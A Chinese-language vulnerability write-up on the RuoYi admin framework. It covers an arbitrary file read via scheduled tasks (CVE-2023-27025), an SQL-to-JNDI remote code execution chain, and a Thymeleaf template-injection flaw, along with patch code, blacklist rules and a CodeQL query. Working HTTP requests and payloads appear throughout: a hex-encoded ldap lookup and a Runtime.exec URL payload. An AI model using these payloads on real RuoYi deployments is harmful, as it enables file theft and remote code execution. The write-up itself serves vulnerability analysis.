环境搭建和一些配置可以看官方文档 https://doc.ruoyi.vip/ruoyi/ ruoyi是一个后台管理系统,主要的功能实现方面还是在后台。我们先来看这个定时任务所引发的一系列问题。https://doc.ruoyi.vip/ruoyi/document/htsc.html#定时任务 关于定时任务所对应的这个类所对应的要求。
1 2 3 1、后台添加定时任务处理类(支持`Bean`调用、`Class`类调用) `Bean`调用示例:需要添加对应`Bean`注解`@Component`或`@Service`。调用目标字符串:`ryTask.ryParams('ry')` `Class`类调用示例:添加类和方法指定包即可。调用目标字符串:`com.ruoyi.quartz.task.RyTask.ryParams('ry')`
4.7.8 任意文件下载 CVE-2023-27025 先从这个开始说起,这个版本不是很新,但也不是特别的旧。
复现 首先创建一个新的定时任务。post内容大致如下
1 2 3 4 5 6 7 8 9 createBy=admin& jobName=renwu& jobGroup=DEFAULT& invokeTarget=ruoYiConfig.setProfile('e://1.txt')& cronExpression=0%2F15+*+*+*+*+%3F& misfirePolicy=1& concurrent=1& status=0& remark=
对应的内容。
然后run一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /monitor/job/run HTTP/1.1 Host: 192.168.58.1:8081 Content-Length: 7 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0 Accept: application/json, text/javascript, */* Content-Type: application/x-www-form-urlencoded Origin: http://192.168.58.1:8081 Referer: http://192.168.58.1:8081/monitor/job Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh Cookie: JSESSIONID =eb2560e2-37 bd-4249 -be85-46 ff3289438a Connection: keep-alive jobId =4
然后就可以读文件了。
1 2 3 4 5 6 7 8 9 GET /common/download/resource?resource =1 .txt HTTP/1.1 Host: 192.168.58.1:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0 Accept: */* Referer: http://192.168.58.1:8081/monitor/job/edit/1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh Cookie: JSESSIONID =eb2560e2-37 bd-4249 -be85-46 ff3289438a Connection: keep-alive
分析 咱们来看看漏洞最后一步所对应的代码。总的来说就是RuoYiConfig.getProfile(); 获取配置文件然后传输到前端。 src/main/java/com/ruoyi/web/controller/common/CommonController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @GetMapping("/download/resource") public void resourceDownload (String resource, HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (!FileUtils.checkAllowDownload(resource)) { throw new Exception (StringUtils.format("资源文件({})非法,不允许下载。 " , resource)); } String localPath = RuoYiConfig.getProfile(); String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); String downloadName = StringUtils.substringAfterLast(downloadPath, "/" ); response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); FileUtils.setAttachmentResponseHeader(response, downloadName); FileUtils.writeBytes(downloadPath, response.getOutputStream()); } catch (Exception e) { log.error("下载文件失败" , e); } }
然后这个RuoYiConfig这个类 有Component注解。是可以利用的,还有对应的setProfile方法。我们可以通过定时任务修改RuoYiConfig.getProfile()的值。从何通过上述那个路由达到任意文件读取的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Component @ConfigurationProperties(prefix = "ruoyi") public class RuoYiConfig { private static String profile; public static String getProfile () { return profile; } public void setProfile (String profile) { RuoYiConfig.profile = profile; } }
sql2RCE 思路就是通过GenTableServiceImpl.createTable来插入我们jndi注入的命令。然后再执行即可。 com/ruoyi/generator/service/impl/GenTableServiceImpl.java
1 2 3 4 5 javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/Basic/Command/calc.exe') 6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f42617369632f436f6d6d616e642f63616c632e6578652729 genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f42617369632f436f6d6d616e642f63616c632e6578652729 WHERE job_id = 3;') 添加任务,然后记得编码一下。 genTableServiceImpl.createTable('UPDATE%20sys_job%20SET%20invoke_target%20%3D%200x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f42617369632f436f6d6d616e642f63616c632e6578652729%20WHERE%20job_id%20%3D%203%3B')
然后执行一下这定时任务就可以触发jndi注入的。
后来看了看,是在4.7.9这个版本加上去的。 com.ruoyi.generator 然后白名单变成了这个 com.ruoyi.quartz.task // 不是哥们这么逆天吗。然后这个地方就已经被完全堵死了。前面那些黑名单还有作用吗。
修复 src/main/java/com/ruoyi/quartz/controller/SysJobController.java 修复的话很容易想到,大概率是修复添加临时任务那个地方。但是没有修复之前其实这个地方就已经做了很多的过滤了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public AjaxResult addSave (@Validated SysJob job) throws SchedulerException, TaskException { if (!CronUtils.isValid(job.getCronExpression())) { return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确" ); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String [] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String [] { Constants.HTTP, Constants.HTTPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用" ); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规" ); } else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不在白名单内" ); } job.setCreateBy(getLoginName()); return toAjax(jobService.insertJob(job)); }
4.7.9加上了这个黑名单com.ruoyi.generator 其实加一个黑名单可能存在可以利用的类还比较多,但是 白名单换成com.ruoyi.quartz.task 。就基本杀除了太多可能,定时任务这块基本很难产生安全问题了。
这样可以打印出所有的bin。
1 2 3 4 5 ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);String[] beanDefinitionNames = run.getBeanDefinitionNames(); for (String beanDefinitionName : beanDefinitionNames) { System.out.println(beanDefinitionName); }
codeql查一下。就完全没有可以利用的类了。然后其实它加了这样一个白名单,以com.ruoyi.quartz.task开始的包的类就几乎没有了。只有开始自带的两个案例。如果删掉.task也许还会有很多。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import javafrom Method m where m.getDeclaringType().getAConstructor().hasNoParameters() and m.isPublic() and m.getAParamType() instanceof TypeString and m.getDeclaringType().getPackage().getName().matches("com.ruoyi.quartz.task%" ) and not m.isAbstract() and not m.getDeclaringType().getPackage().getName().matches("com.ruoyi.common.config%" ) and not m.getDeclaringType().getPackage().getName().matches("com.ruoyi.common.utils.file%" ) and not m.getDeclaringType().getPackage().getName().matches("com.ruoyi.generator%" ) and not m.getName().matches("get%" ) and not m.getName().matches("is%" ) and not m.getName().matches("has%" ) select m.getDeclaringType().getPackage().getName(),m.getDeclaringType(),m
其它 然后我看到了 https://xz.aliyun.com/news/10405 果不其然,ruoyi还是一个有故事的人。 其实如果都由shiro统一管理并且遵守规范的话,其实这一块应该不会出问题。可以利用的未授权api也比较难找。
<=4.7.1 首先ruoyi也是有模板这种东西的。然后还有一个模板渲染的漏洞。
1 2 ${T (java.lang.Runtime).getRuntime().exec("calc")} http://192.168.58.1:8083/monitor/cache/getNames?fragment=%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D
模板注入。 这个问题其实可以算作是Thymeleaf。但是ruoyi的配置也有一些问题。https://forum.butian.net/share/1922 然后在在一个issue里面看到了。这个依赖的差异pom里面其实都是看不到的。然后真的就是这个供应链的问题了。https://gitee.com/y_project/RuoYi/issues/I7MOWG https://github.com/thymeleaf/thymeleaf-spring/issues/256 3.0.15后这个漏洞被修复